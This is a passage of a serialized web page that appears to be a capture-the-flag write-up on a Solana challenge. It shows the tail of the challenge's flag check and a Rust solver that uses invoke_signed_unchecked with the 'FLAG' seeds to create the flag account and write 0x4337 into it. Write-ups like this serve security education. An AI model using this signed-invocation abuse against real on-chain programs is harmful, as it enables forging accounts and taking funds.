flag",{"type":24,"tag":271,"props":50256,"children":50257},{"style":624},[50258],{"type":29,"value":1712},{"type":24,"tag":271,"props":50260,"children":50261},{"style":3887},[50262],{"type":29,"value":28544},{"type":24,"tag":271,"props":50264,"children":50265},{"style":624},[50266],{"type":29,"value":11207},{"type":24,"tag":271,"props":50268,"children":50269},{"style":598},[50270],{"type":29,"value":50271},"create_program_address",{"type":24,"tag":271,"props":50273,"children":50274},{"style":288},[50275],{"type":29,"value":606},{"type":24,"tag":271,"props":50277,"children":50278},{"style":624},[50279],{"type":29,"value":1137},{"type":24,"tag":271,"props":50281,"children":50282},{"style":288},[50283],{"type":29,"value":4520},{"type":24,"tag":271,"props":50285,"children":50286},{"style":378},[50287],{"type":29,"value":50288},"\"FLAG\"",{"type":24,"tag":271,"props":50290,"children":50291},{"style":624},[50292],{"type":29,"value":41},{"type":24,"tag":271,"props":50294,"children":50295},{"style":598},[50296],{"type":29,"value":50297},"as_ref",{"type":24,"tag":271,"props":50299,"children":50300},{"style":288},[50301],{"type":29,"value":50302},"()], ",{"type":24,"tag":271,"props":50304,"children":50305},{"style":624},[50306],{"type":29,"value":1137},{"type":24,"tag":271,"props":50308,"children":50309},{"style":288},[50310],{"type":29,"value":49877},{"type":24,"tag":271,"props":50312,"children":50313},{"style":624},[50314],{"type":29,"value":11207},{"type":24,"tag":271,"props":50316,"children":50317},{"style":288},[50318],{"type":29,"value":50133},{"type":24,"tag":271,"props":50320,"children":50321},{"style":624},[50322],{"type":29,"value":10887},{"type":24,"tag":271,"props":50324,"children":50325},{"style":288},[50326],{"type":29,"value":1069},{"type":24,"tag":271,"props":50328,"children":50329},{"class":273,"line":284},[50330,50334,50338,50342,50346,50351,50355,50359,50363,50367,50371,50375,50380,50384,50389,50393,50398,50402,50406,50410,50414],{"type":24,"tag":271,"props":50331,"children":50332},{"style":749},[50333],{"type":29,"value":23277},{"type":24,"tag":271,"props":50335,"children":50336},{"style":278},[50337],{"type":29,"value":34981},{"type":24,"tag":271,"props":50339,"children":50340},{"style":3887},[50341],{"type":29,"value":34986},{"type":24,"tag":271,"props":50343,"children":50344},{"style":288},[50345],{"type":29,"value":606},{"type":24,"tag":271,"props":50347,"children":50348},{"style":630},[50349],{"type":29,"value":50350},"acct",{"type":24,"tag":271,"props":50352,"children":50353},{"style":288},[50354],{"type":29,"value":8823},{"type":24,"tag":271,"props":50356,"children":50357},{"style":624},[50358],{"type":29,"value":762},{"type":24,"tag":271,"props":50360,"children":50361},{"style":630},[50362],{"type":29,"value":49708},{"type":24,"tag":271,"props":50364,"children":50365},{"style":624},[50366],{"type":29,"value":41},{"type":24,"tag":271,"props":50368,"children":50369},{"style":288},[50370],{"type":29,"value":633},{"type":24,"tag":271,"props":50372,"children":50373},{"style":624},[50374],{"type":29,"value":41},{"type":24,"tag":271,"props":50376,"children":50377},{"style":288},[50378],{"type":29,"value":50379},"banks_client",{"type":24,"tag":271,"props":50381,"children":50382},{"style":624},[50383],{"type":29,"value":41},{"type":24,"tag":271,"props":50385,"children":50386},{"style":598},[50387],{"type":29,"value":50388},"get_account",{"type":24,"tag":271,"props":50390,"children":50391},{"style":288},[50392],{"type":29,"value":606},{"type":24,"tag":271,"props":50394,"children":50395},{"style":630},[50396],{"type":29,"value":50397},"flag",{"type":24,"tag":271,"props":50399,"children":50400},{"style":288},[50401],{"type":29,"value":2693},{"type":24,"tag":271,"props":50403,"children":50404},{"style":624},[50405],{"type":29,"value":41},{"type":24,"tag":271,"props":50407,"children":50408},{"style":749},[50409],{"type":29,"value":40586},{"type":24,"tag":271,"props":50411,"children":50412},{"style":624},[50413],{"type":29,"value":10887},{"type":24,"tag":271,"props":50415,"children":50416},{"style":288},[50417],{"type":29,"value":7145},{"type":24,"tag":271,"props":50419,"children":50420},{"class":273,"line":294},[50421,50425,50430,50434,50438,50442,50446,50450,50454],{"type":24,"tag":271,"props":50422,"children":50423},{"style":749},[50424],{"type":29,"value":5025},{"type":24,"tag":271,"props":50426,"children":50427},{"style":630},[50428],{"type":29,"value":50429}," acct",{"type":24,"tag":271,"props":50431,"children":50432},{"style":624},[50433],{"type":29,"value":41},{"type":24,"tag":271,"props":50435,"children":50436},{"style":288},[50437],{"type":29,"value":8590},{"type":24,"tag":271,"props":50439,"children":50440},{"style":624},[50441],{"type":29,"value":41},{"type":24,"tag":271,"props":50443,"children":50444},{"style":598},[50445],{"type":29,"value":8335},{"type":24,"tag":271,"props":50447,"children":50448},{"style":288},[50449],{"type":29,"value":21742},{"type":24,"tag":271,"props":50451,"children":50452},{"style":624},[50453],{"type":29,"value":5059},{"type":24,"tag":271,"props":50455,"children":50456},{"style":477},[50457],{"type":29,"value":50458}," 0x1337\n",{"type":24,"tag":271,"props":50460,"children":50461},{"class":273,"line":303},[50462,50467,50471,50475,50480,50484,50488,50492,50497,50501,50505,50509,50513,50517,50521,50525,50529,50534,50538],{"type":24,"tag":271,"props":50463,"children":50464},{"style":624},[50465],{"type":29,"value":50466}," &&",{"type":24,"tag":271,"props":50468,"children":50469},{"style":3887},[50470],{"type":29,"value":13576},{"type":24,"tag":271,"props":50472,"children":50473},{"style":624},[50474],{"type":29,"value":11207},{"type":24,"tag":271,"props":50476,"children":50477},{"style":598},[50478],{"type":29,"value":50479},"from_le_bytes",{"type":24,"tag":271,"props":50481,"children":50482},{"style":288},[50483],{"type":29,"value":606},{"type":24,"tag":271,"props":50485,"children":50486},{"style":630},[50487],{"type":29,"value":50350},{"type":24,"tag":271,"props":50489,"children":50490},{"style":624},[50491],{"type":29,"value":41},{"type":24,"tag":271,"props":50493,"children":50494},{"style":288},[50495],{"type":29,"value":50496},"data[",{"type":24,"tag":271,"props":50498,"children":50499},{"style":624},[50500],{"type":29,"value":10787},{"type":24,"tag":271,"props":50502,"children":50503},{"style":477},[50504],{"type":29,"value":7670},{"type":24,"tag":271,"props":50506,"children":50507},{"style":288},[50508],{"type":29,"value":23108},{"type":24,"tag":271,"props":50510,"children":50511},{"style":624},[50512],{"type":29,"value":41},{"type":24,"tag":271,"props":50514,"children":50515},{"style":598},[50516],{"type":29,"value":33838},{"type":24,"tag":271,"props":50518,"children":50519},{"style":288},[50520],{"type":29,"value":21579},{"type":24,"tag":271,"props":50522,"children":50523},{"style":624},[50524],{"type":29,"value":41},{"type":24,"tag":271,"props":50526,"children":50527},{"style":598},[50528],{"type":29,"value":11391},{"type":24,"tag":271,"props":50530,"children":50531},{"style":288},[50532],{"type":29,"value":50533},"()) ",{"type":24,"tag":271,"props":50535,"children":50536},{"style":624},[50537],{"type":29,"value":5059},{"type":24,"tag":271,"props":50539,"children":50540},{"style":477},[50541],{"type":29,"value":50542}," 0x4337\n",{"type":24,"tag":271,"props":50544,"children":50545},{"class":273,"line":312},[50546],{"type":24,"tag":271,"props":50547,"children":50548},{"style":288},[50549],{"type":29,"value":4203},{"type":24,"tag":271,"props":50551,"children":50552},{"class":273,"line":321},[50553,50558,50562,50566,50570,50575,50579,50583],{"type":24,"tag":271,"props":50554,"children":50555},{"style":598},[50556],{"type":29,"value":50557}," writeln!",{"type":24,"tag":271,"props":50559,"children":50560},{"style":288},[50561],{"type":29,"value":606},{"type":24,"tag":271,"props":50563,"children":50564},{"style":630},[50565],{"type":29,"value":9839},{"type":24,"tag":271,"props":50567,"children":50568},{"style":288},[50569],{"type":29,"value":158},{"type":24,"tag":271,"props":50571,"children":50572},{"style":378},[50573],{"type":29,"value":50574},"\"congrats!\"",{"type":24,"tag":271,"props":50576,"children":50577},{"style":288},[50578],{"type":29,"value":2693},{"type":24,"tag":271,"props":50580,"children":50581},{"style":624},[50582],{"type":29,"value":10887},{"type":24,"tag":271,"props":50584,"children":50585},{"style":288},[50586],{"type":29,"value":1069},{"type":24,"tag":271,"props":50588,"children":50589},{"class":273,"line":330},[50590,50594,50598,50603,50607,50611,50615,50619,50624,50628,50632,50636,50640],{"type":24,"tag":271,"props":50591,"children":50592},{"style":749},[50593],{"type":29,"value":7512},{"type":24,"tag":271,"props":50595,"children":50596},{"style":278},[50597],{"type":29,"value":34981},{"type":24,"tag":271,"props":50599,"children":50600},{"style":3887},[50601],{"type":29,"value":50602}," Ok",{"type":24,"tag":271,"props":50604,"children":50605},{"style":288},[50606],{"type":29,"value":606},{"type":24,"tag":271,"props":50608,"children":50609},{"style":630},[50610],{"type":29,"value":50397},{"type":24,"tag":271,"props":50612,"children":50613},{"style":288},[50614],{"type":29,"value":8823},{"type":24,"tag":271,"props":50616,"children":50617},{"style":624},[50618],{"type":29,"value":762},{"type":24,"tag":271,"props":50620,"children":50621},{"style":288},[50622],{"type":29,"value":50623}," env",{"type":24,"tag":271,"props":50625,"children":50626},{"style":624},[50627],{"type":29,"value":11207},{"type":24,"tag":271,"props":50629,"children":50630},{"style":598},[50631],{"type":29,"value":42715},{"type":24,"tag":271,"props":50633,"children":50634},{"style":288},[50635],{"type":29,"value":606},{"type":24,"tag":271,"props":50637,"children":50638},{"style":378},[50639],{"type":29,"value":50288},{"type":24,"tag":271,"props":50641,"children":50642},{"style":288},[50643],{"type":29,"value":919},{"type":24,"tag":271,"props":50645,"children":50646},{"class":273,"line":339},[50647,50652,50656,50660,50664,50669,50673,50677,50681,50685],{"type":24,"tag":271,"props":50648,"children":50649},{"style":598},[50650],{"type":29,"value":50651}," writeln!",{"type":24,"tag":271,"props":50653,"children":50654},{"style":288},[50655],{"type":29,"value":606},{"type":24,"tag":271,"props":50657,"children":50658},{"style":630},[50659],{"type":29,"value":9839},{"type":24,"tag":271,"props":50661,"children":50662},{"style":288},[50663],{"type":29,"value":158},{"type":24,"tag":271,"props":50665,"children":50666},{"style":378},[50667],{"type":29,"value":50668},"\"flag: {:?}\"",{"type":24,"tag":271,"props":50670,"children":50671},{"style":288},[50672],{"type":29,"value":158},{"type":24,"tag":271,"props":50674,"children":50675},{"style":630},[50676],{"type":29,"value":50397},{"type":24,"tag":271,"props":50678,"children":50679},{"style":288},[50680],{"type":29,"value":2693},{"type":24,"tag":271,"props":50682,"children":50683},{"style":624},[50684],{"type":29,"value":10887},{"type":24,"tag":271,"props":50686,"children":50687},{"style":288},[50688],{"type":29,"value":1069},{"type":24,"tag":271,"props":50690,"children":50691},{"class":273,"line":347},[50692,50696,50700],{"type":24,"tag":271,"props":50693,"children":50694},{"style":288},[50695],{"type":29,"value":11039},{"type":24,"tag":271,"props":50697,"children":50698},{"style":749},[50699],{"type":29,"value":11044},{"type":24,"tag":271,"props":50701,"children":50702},{"style":288},[50703],{"type":29,"value":7145},{"type":24,"tag":271,"props":50705,"children":50706},{"class":273,"line":356},[50707,50711,50715,50719,50723,50728,50732,50736],{"type":24,"tag":271,"props":50708,"children":50709},{"style":598},[50710],{"type":29,"value":50651},{"type":24,"tag":271,"props":50712,"children":50713},{"style":288},[50714],{"type":29,"value":606},{"type":24,"tag":271,"props":50716,"children":50717},{"style":630},[50718],{"type":29,"value":9839},{"type":24,"tag":271,"props":50720,"children":50721},{"style":288},[50722],{"type":29,"value":158},{"type":24,"tag":271,"props":50724,"children":50725},{"style":378},[50726],{"type":29,"value":50727},"\"flag not found, please contact admin\"",{"type":24,"tag":271,"props":50729,"children":50730},{"style":288},[50731],{"type":29,"value":2693},{"type":24,"tag":271,"props":50733,"children":50734},{"style":624},[50735],{"type":29,"value":10887},{"type":24,"tag":271,"props":50737,"children":50738},{"style":288},[50739],{"type":29,"value":1069},{"type":24,"tag":271,"props":50741,"children":50742},{"class":273,"line":365},[50743],{"type":24,"tag":271,"props":50744,"children":50745},{"style":288},[50746],{"type":29,"value":7574},{"type":24,"tag":271,"props":50748,"children":50749},{"class":273,"line":374},[50750],{"type":24,"tag":271,"props":50751,"children":50752},{"style":288},[50753],{"type":29,"value":4385},{"type":24,"tag":271,"props":50755,"children":50756},{"class":273,"line":384},[50757],{"type":24,"tag":271,"props":50758,"children":50759},{"style":288},[50760],{"type":29,"value":1171},{"type":24,"tag":62,"props":50762,"children":50764},{"id":50763},"solution-idea",[50765],{"type":29,"value":50766},"Solution Idea",{"type":24,"tag":25,"props":50768,"children":50769},{},[50770,50772,50777],{"type":29,"value":50771},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":24,"tag":135,"props":50773,"children":50775},{"className":50774},[],[50776],{"type":29,"value":43349},{"type":29,"value":50778}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":24,"tag":25,"props":50780,"children":50781},{},[50782,50784,50790],{"type":29,"value":50783},"In order to get the flag, we need to make sure that the account at ",{"type":24,"tag":135,"props":50785,"children":50787},{"className":50786},[],[50788],{"type":29,"value":50789},"PDA(\"FLAG\")",{"type":29,"value":50791}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":24,"tag":25,"props":50793,"children":50794},{},[50795,50797,50804],{"type":29,"value":50796},"Essentially, we need to ",{"type":24,"tag":32,"props":50798,"children":50801},{"href":50799,"rel":50800},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[36],[50802],{"type":29,"value":50803},"invoke the System Program",{"type":29,"value":50805},", and write controlled data into the newly created account.",{"type":24,"tag":25,"props":50807,"children":50808},{},[50809],{"type":29,"value":50810},"A sample program that does this is as follows:",{"type":24,"tag":261,"props":50812,"children":50814},{"className":10718,"code":50813,"language":10717,"meta":7,"style":7},"pub fn process_instruction(\n program_id: &Pubkey,\n accounts: &[AccountInfo],\n data: &[u8]\n) -> ProgramResult {\n let flag_pda_ai = &accounts[0];\n let user_ai = &accounts[1];\n\n // Step 1: Create a new account with 0x1337 bytes of data\n let instruction = Instruction::new_with_bincode(\n system_program::ID,\n &SystemInstruction::CreateAccount {\n space: 0x1337,\n lamports: Rent::default().minimum_balance(0x1337),\n owner: chall::ID\n },\n vec![\n AccountMeta::new(*user_ai.key, true),\n AccountMeta::new(*flag_pda_ai.key, true),\n ],\n );\n invoke_signed_unchecked(\n &instruction,\n &[\n user_ai.clone(),\n flag_pda_ai.clone(),\n ],\n &[&[\"FLAG\".as_ref()]],\n )?;\n\n // Step 2: Write 0x4337 to the first 8 bytes of the account\n flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n Ok(())\n}\n",[50815],{"type":24,"tag":135,"props":50816,"children":50817},{"__ignoreMap":7},[50818,50838,50862,50890,50918,50938,50974,51010,51017,51025,51058,51075,51100,51121,51172,51197,51204,51217,51263,51307,51315,51323,51334,51350,51361,51381,51401,51408,51444,51459,51466,51474,51553,51560,51571],{"type":24,"tag":271,"props":50819,"children":50820},{"class":273,"line":274},[50821,50825,50829,50834],{"type":24,"tag":271,"props":50822,"children":50823},{"style":278},[50824],{"type":29,"value":21391},{"type":24,"tag":271,"props":50826,"children":50827},{"style":278},[50828],{"type":29,"value":21396},{"type":24,"tag":271,"props":50830,"children":50831},{"style":598},[50832],{"type":29,"value":50833}," process_instruction",{"type":24,"tag":271,"props":50835,"children":50836},{"style":288},[50837],{"type":29,"value":4028},{"type":24,"tag":271,"props":50839,"children":50840},{"class":273,"line":284},[50841,50846,50850,50854,50858],{"type":24,"tag":271,"props":50842,"children":50843},{"style":630},[50844],{"type":29,"value":50845}," program_id",{"type":24,"tag":271,"props":50847,"children":50848},{"style":624},[50849],{"type":29,"value":12210},{"type":24,"tag":271,"props":50851,"children":50852},{"style":624},[50853],{"type":29,"value":14858},{"type":24,"tag":271,"props":50855,"children":50856},{"style":3887},[50857],{"type":29,"value":29084},{"type":24,"tag":271,"props":50859,"children":50860},{"style":288},[50861],{"type":29,"value":638},{"type":24,"tag":271,"props":50863,"children":50864},{"class":273,"line":294},[50865,50870,50874,50878,50882,50886],{"type":24,"tag":271,"props":50866,"children":50867},{"style":630},[50868],{"type":29,"value":50869}," accounts",{"type":24,"tag":271,"props":50871,"children":50872},{"style":624},[50873],{"type":29,"value":12210},{"type":24,"tag":271,"props":50875,"children":50876},{"style":624},[50877],{"type":29,"value":14858},{"type":24,"tag":271,"props":50879,"children":50880},{"style":288},[50881],{"type":29,"value":4520},{"type":24,"tag":271,"props":50883,"children":50884},{"style":3887},[50885],{"type":29,"value":22636},{"type":24,"tag":271,"props":50887,"children":50888},{"style":288},[50889],{"type":29,"value":21961},{"type":24,"tag":271,"props":50891,"children":50892},{"class":273,"line":303},[50893,50898,50902,50906,50910,50914],{"type":24,"tag":271,"props":50894,"children":50895},{"style":630},[50896],{"type":29,"value":50897}," data",{"type":24,"tag":271,"props":50899,"children":50900},{"style":624},[50901],{"type":29,"value":12210},{"type":24,"tag":271,"props":50903,"children":50904},{"style":624},[50905],{"type":29,"value":14858},{"type":24,"tag":271,"props":50907,"children":50908},{"style":288},[50909],{"type":29,"value":4520},{"type":24,"tag":271,"props":50911,"children":50912},{"style":3887},[50913],{"type":29,"value":11148},{"type":24,"tag":271,"props":50915,"children":50916},{"style":288},[50917],{"type":29,"value":19475},{"type":24,"tag":271,"props":50919,"children":50920},{"class":273,"line":312},[50921,50925,50929,50934],{"type":24,"tag":271,"props":50922,"children":50923},{"style":288},[50924],{"type":29,"value":8823},{"type":24,"tag":271,"props":50926,"children":50927},{"style":624},[50928],{"type":29,"value":786},{"type":24,"tag":271,"props":50930,"children":50931},{"style":3887},[50932],{"type":29,"value":50933}," ProgramResult",{"type":24,"tag":271,"props":50935,"children":50936},{"style":288},[50937],{"type":29,"value":7145},{"type":24,"tag":271,"props":50939,"children":50940},{"class":273,"line":321},[50941,50945,50950,50954,50958,50962,50966,50970],{"type":24,"tag":271,"props":50942,"children":50943},{"style":278},[50944],{"type":29,"value":10738},{"type":24,"tag":271,"props":50946,"children":50947},{"style":630},[50948],{"type":29,"value":50949}," flag_pda_ai",{"type":24,"tag":271,"props":50951,"children":50952},{"style":624},[50953],{"type":29,"value":1712},{"type":24,"tag":271,"props":50955,"children":50956},{"style":624},[50957],{"type":29,"value":14858},{"type":24,"tag":271,"props":50959,"children":50960},{"style":630},[50961],{"type":29,"value":22373},{"type":24,"tag":271,"props":50963,"children":50964},{"style":288},[50965],{"type":29,"value":4520},{"type":24,"tag":271,"props":50967,"children":50968},{"style":477},[50969],{"type":29,"value":4121},{"type":24,"tag":271,"props":50971,"children":50972},{"style":288},[50973],{"type":29,"value":4865},{"type":24,"tag":271,"props":50975,"children":50976},{"class":273,"line":330},[50977,50981,50986,50990,50994,50998,51002,51006],{"type":24,"tag":271,"props":50978,"children":50979},{"style":278},[50980],{"type":29,"value":10738},{"type":24,"tag":271,"props":50982,"children":50983},{"style":630},[50984],{"type":29,"value":50985}," user_ai",{"type":24,"tag":271,"props":50987,"children":50988},{"style":624},[50989],{"type":29,"value":1712},{"type":24,"tag":271,"props":50991,"children":50992},{"style":624},[50993],{"type":29,"value":14858},{"type":24,"tag":271,"props":50995,"children":50996},{"style":630},[50997],{"type":29,"value":22373},{"type":24,"tag":271,"props":50999,"children":51000},{"style":288},[51001],{"type":29,"value":4520},{"type":24,"tag":271,"props":51003,"children":51004},{"style":477},[51005],{"type":29,"value":156},{"type":24,"tag":271,"props":51007,"children":51008},{"style":288},[51009],{"type":29,"value":4865},{"type":24,"tag":271,"props":51011,"children":51012},{"class":273,"line":339},[51013],{"type":24,"tag":271,"props":51014,"children":51015},{"emptyLinePlaceholder":16},[51016],{"type":29,"value":327},{"type":24,"tag":271,"props":51018,"children":51019},{"class":273,"line":347},[51020],{"type":24,"tag":271,"props":51021,"children":51022},{"style":2058},[51023],{"type":29,"value":51024}," // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":24,"tag":271,"props":51026,"children":51027},{"class":273,"line":356},[51028,51032,51037,51041,51045,51049,51054],{"type":24,"tag":271,"props":51029,"children":51030},{"style":278},[51031],{"type":29,"value":10738},{"type":24,"tag":271,"props":51033,"children":51034},{"style":630},[51035],{"type":29,"value":51036}," instruction",{"type":24,"tag":271,"props":51038,"children":51039},{"style":624},[51040],{"type":29,"value":1712},{"type":24,"tag":271,"props":51042,"children":51043},{"style":3887},[51044],{"type":29,"value":48677},{"type":24,"tag":271,"props":51046,"children":51047},{"style":624},[51048],{"type":29,"value":11207},{"type":24,"tag":271,"props":51050,"children":51051},{"style":598},[51052],{"type":29,"value":51053},"new_with_bincode",{"type":24,"tag":271,"props":51055,"children":51056},{"style":288},[51057],{"type":29,"value":4028},{"type":24,"tag":271,"props":51059,"children":51060},{"class":273,"line":365},[51061,51066,51070],{"type":24,"tag":271,"props":51062,"children":51063},{"style":288},[51064],{"type":29,"value":51065}," system_program",{"type":24,"tag":271,"props":51067,"children":51068},{"style":624},[51069],{"type":29,"value":11207},{"type":24,"tag":271,"props":51071,"children":51072},{"style":288},[51073],{"type":29,"value":51074},"ID,\n",{"type":24,"tag":271,"props":51076,"children":51077},{"class":273,"line":374},[51078,51082,51087,51091,51096],{"type":24,"tag":271,"props":51079,"children":51080},{"style":624},[51081],{"type":29,"value":11197},{"type":24,"tag":271,"props":51083,"children":51084},{"style":288},[51085],{"type":29,"value":51086},"SystemInstruction",{"type":24,"tag":271,"props":51088,"children":51089},{"style":624},[51090],{"type":29,"value":11207},{"type":24,"tag":271,"props":51092,"children":51093},{"style":3887},[51094],{"type":29,"value":51095},"CreateAccount",{"type":24,"tag":271,"props":51097,"children":51098},{"style":288},[51099],{"type":29,"value":7145},{"type":24,"tag":271,"props":51101,"children":51102},{"class":273,"line":384},[51103,51108,51112,51117],{"type":24,"tag":271,"props":51104,"children":51105},{"style":630},[51106],{"type":29,"value":51107}," space",{"type":24,"tag":271,"props":51109,"children":51110},{"style":624},[51111],{"type":29,"value":12210},{"type":24,"tag":271,"props":51113,"children":51114},{"style":477},[51115],{"type":29,"value":51116}," 0x1337",{"type":24,"tag":271,"props":51118,"children":51119},{"style":288},[51120],{"type":29,"value":638},{"type":24,"tag":271,"props":51122,"children":51123},{"class":273,"line":393},[51124,51129,51133,51138,51142,51147,51151,51155,51160,51164,51168],{"type":24,"tag":271,"props":51125,"children":51126},{"style":630},[51127],{"type":29,"value":51128}," lamports",{"type":24,"tag":271,"props":51130,"children":51131},{"style":624},[51132],{"type":29,"value":12210},{"type":24,"tag":271,"props":51134,"children":51135},{"style":288},[51136],{"type":29,"value":51137}," Rent",{"type":24,"tag":271,"props":51139,"children":51140},{"style":624},[51141],{"type":29,"value":11207},{"type":24,"tag":271,"props":51143,"children":51144},{"style":598},[51145],{"type":29,"value":51146},"default",{"type":24,"tag":271,"props":51148,"children":51149},{"style":288},[51150],{"type":29,"value":21579},{"type":24,"tag":271,"props":51152,"children":51153},{"style":624},[51154],{"type":29,"value":41},{"type":24,"tag":271,"props":51156,"children":51157},{"style":598},[51158],{"type":29,"value":51159},"minimum_balance",{"type":24,"tag":271,"props":51161,"children":51162},{"style":288},[51163],{"type":29,"value":606},{"type":24,"tag":271,"props":51165,"children":51166},{"style":477},[51167],{"type":29,"value":4059},{"type":24,"tag":271,"props":51169,"children":51170},{"style":288},[51171],{"type":29,"value":14453},{"type":24,"tag":271,"props":51173,"children":51174},{"class":273,"line":402},[51175,51180,51184,51188,51192],{"type":24,"tag":271,"props":51176,"children":51177},{"style":630},[51178],{"type":29,"value":51179}," owner",{"type":24,"tag":271,"props":51181,"children":51182},{"style":624},[51183],{"type":29,"value":12210},{"type":24,"tag":271,"props":51185,"children":51186},{"style":288},[51187],{"type":29,"value":49708},{"type":24,"tag":271,"props":51189,"children":51190},{"style":624},[51191],{"type":29,"value":11207},{"type":24,"tag":271,"props":51193,"children":51194},{"style":288},[51195],{"type":29,"value":51196},"ID\n",{"type":24,"tag":271,"props":51198,"children":51199},{"class":273,"line":411},[51200],{"type":24,"tag":271,"props":51201,"children":51202},{"style":288},[51203],{"type":29,"value":33049},{"type":24,"tag":271,"props":51205,"children":51206},{"class":273,"line":420},[51207,51212],{"type":24,"tag":271,"props":51208,"children":51209},{"style":598},[51210],{"type":29,"value":51211}," vec!",{"type":24,"tag":271,"props":51213,"children":51214},{"style":288},[51215],{"type":29,"value":51216},"[\n",{"type":24,"tag":271,"props":51218,"children":51219},{"class":273,"line":429},[51220,51225,51229,51233,51237,51241,51246,51250,51255,51259],{"type":24,"tag":271,"props":51221,"children":51222},{"style":288},[51223],{"type":29,"value":51224}," AccountMeta",{"type":24,"tag":271,"props":51226,"children":51227},{"style":624},[51228],{"type":29,"value":11207},{"type":24,"tag":271,"props":51230,"children":51231},{"style":598},[51232],{"type":29,"value":22819},{"type":24,"tag":271,"props":51234,"children":51235},{"style":288},[51236],{"type":29,"value":606},{"type":24,"tag":271,"props":51238,"children":51239},{"style":624},[51240],{"type":29,"value":627},{"type":24,"tag":271,"props":51242,"children":51243},{"style":630},[51244],{"type":29,"value":51245},"user_ai",{"type":24,"tag":271,"props":51247,"children":51248},{"style":624},[51249],{"type":29,"value":41},{"type":24,"tag":271,"props":51251,"children":51252},{"style":288},[51253],{"type":29,"value":51254},"key, ",{"type":24,"tag":271,"props":51256,"children":51257},{"style":278},[51258],{"type":29,"value":5670},{"type":24,"tag":271,"props":51260,"children":51261},{"style":288},[51262],{"type":29,"value":14453},{"type":24,"tag":271,"props":51264,"children":51265},{"class":273,"line":438},[51266,51270,51274,51278,51282,51286,51291,51295,51299,51303],{"type":24,"tag":271,"props":51267,"children":51268},{"style":288},[51269],{"type":29,"value":51224},{"type":24,"tag":271,"props":51271,"children":51272},{"style":624},[51273],{"type":29,"value":11207},{"type":24,"tag":271,"props":51275,"children":51276},{"style":598},[51277],{"type":29,"value":22819},{"type":24,"tag":271,"props":51279,"children":51280},{"style":288},[51281],{"type":29,"value":606},{"type":24,"tag":271,"props":51283,"children":51284},{"style":624},[51285],{"type":29,"value":627},{"type":24,"tag":271,"props":51287,"children":51288},{"style":630},[51289],{"type":29,"value":51290},"flag_pda_ai",{"type":24,"tag":271,"props":51292,"children":51293},{"style":624},[51294],{"type":29,"value":41},{"type":24,"tag":271,"props":51296,"children":51297},{"style":288},[51298],{"type":29,"value":51254},{"type":24,"tag":271,"props":51300,"children":51301},{"style":278},[51302],{"type":29,"value":5670},{"type":24,"tag":271,"props":51304,"children":51305},{"style":288},[51306],{"type":29,"value":14453},{"type":24,"tag":271,"props":51308,"children":51309},{"class":273,"line":447},[51310],{"type":24,"tag":271,"props":51311,"children":51312},{"style":288},[51313],{"type":29,"value":51314}," ],\n",{"type":24,"tag":271,"props":51316,"children":51317},{"class":273,"line":455},[51318],{"type":24,"tag":271,"props":51319,"children":51320},{"style":288},[51321],{"type":29,"value":51322}," );\n",{"type":24,"tag":271,"props":51324,"children":51325},{"class":273,"line":464},[51326,51330],{"type":24,"tag":271,"props":51327,"children":51328},{"style":598},[51329],{"type":29,"value":48794},{"type":24,"tag":271,"props":51331,"children":51332},{"style":288},[51333],{"type":29,"value":4028},{"type":24,"tag":271,"props":51335,"children":51336},{"class":273,"line":473},[51337,51341,51346],{"type":24,"tag":271,"props":51338,"children":51339},{"style":624},[51340],{"type":29,"value":11197},{"type":24,"tag":271,"props":51342,"children":51343},{"style":630},[51344],{"type":29,"value":51345},"instruction",{"type":24,"tag":271,"props":51347,"children":51348},{"style":288},[51349],{"type":29,"value":638},{"type":24,"tag":271,"props":51351,"children":51352},{"class":273,"line":483},[51353,51357],{"type":24,"tag":271,"props":51354,"children":51355},{"style":624},[51356],{"type":29,"value":11197},{"type":24,"tag":271,"props":51358,"children":51359},{"style":288},[51360],{"type":29,"value":51216},{"type":24,"tag":271,"props":51362,"children":51363},{"class":273,"line":491},[51364,51369,51373,51377],{"type":24,"tag":271,"props":51365,"children":51366},{"style":630},[51367],{"type":29,"value":51368}," user_ai",{"type":24,"tag":271,"props":51370,"children":51371},{"style":624},[51372],{"type":29,"value":41},{"type":24,"tag":271,"props":51374,"children":51375},{"style":598},[51376],{"type":29,"value":23117},{"type":24,"tag":271,"props":51378,"children":51379},{"style":288},[51380],{"type":29,"value":11217},{"type":24,"tag":271,"props":51382,"children":51383},{"class":273,"line":499},[51384,51389,51393,51397],{"type":24,"tag":271,"props":51385,"children":51386},{"style":630},[51387],{"type":29,"value":51388}," flag_pda_ai",{"type":24,"tag":271,"props":51390,"children":51391},{"style":624},[51392],{"type":29,"value":41},{"type":24,"tag":271,"props":51394,"children":51395},{"style":598},[51396],{"type":29,"value":23117},{"type":24,"tag":271,"props":51398,"children":51399},{"style":288},[51400],{"type":29,"value":11217},{"type":24,"tag":271,"props":51402,"children":51403},{"class":273,"line":3188},[51404],{"type":24,"tag":271,"props":51405,"children":51406},{"style":288},[51407],{"type":29,"value":51314},{"type":24,"tag":271,"props":51409,"children":51410},{"class":273,"line":3247},[51411,51415,51419,51423,51427,51431,51435,51439],{"type":24,"tag":271,"props":51412,"children":51413},{"style":624},[51414],{"type":29,"value":11197},{"type":24,"tag":271,"props":51416,"children":51417},{"style":288},[51418],{"type":29,"value":4520},{"type":24,"tag":271,"props":51420,"children":51421},{"style":624},[51422],{"type":29,"value":1137},{"type":24,"tag":271,"props":51424,"children":51425},{"style":288},[51426],{"type":29,"value":4520},{"type":24,"tag":271,"props":51428,"children":51429},{"style":378},[51430],{"type":29,"value":50288},{"type":24,"tag":271,"props":51432,"children":51433},{"style":624},[51434],{"type":29,"value":41},{"type":24,"tag":271,"props":51436,"children":51437},{"style":598},[51438],{"type":29,"value":50297},{"type":24,"tag":271,"props":51440,"children":51441},{"style":288},[51442],{"type":29,"value":51443},"()]],\n",{"type":24,"tag":271,"props":51445,"children":51446},{"class":273,"line":3255},[51447,51451,51455],{"type":24,"tag":271,"props":51448,"children":51449},{"style":288},[51450],{"type":29,"value":11382},{"type":24,"tag":271,"props":51452,"children":51453},{"style":624},[51454],{"type":29,"value":10887},{"type":24,"tag":271,"props":51456,"children":51457},{"style":288},[51458],{"type"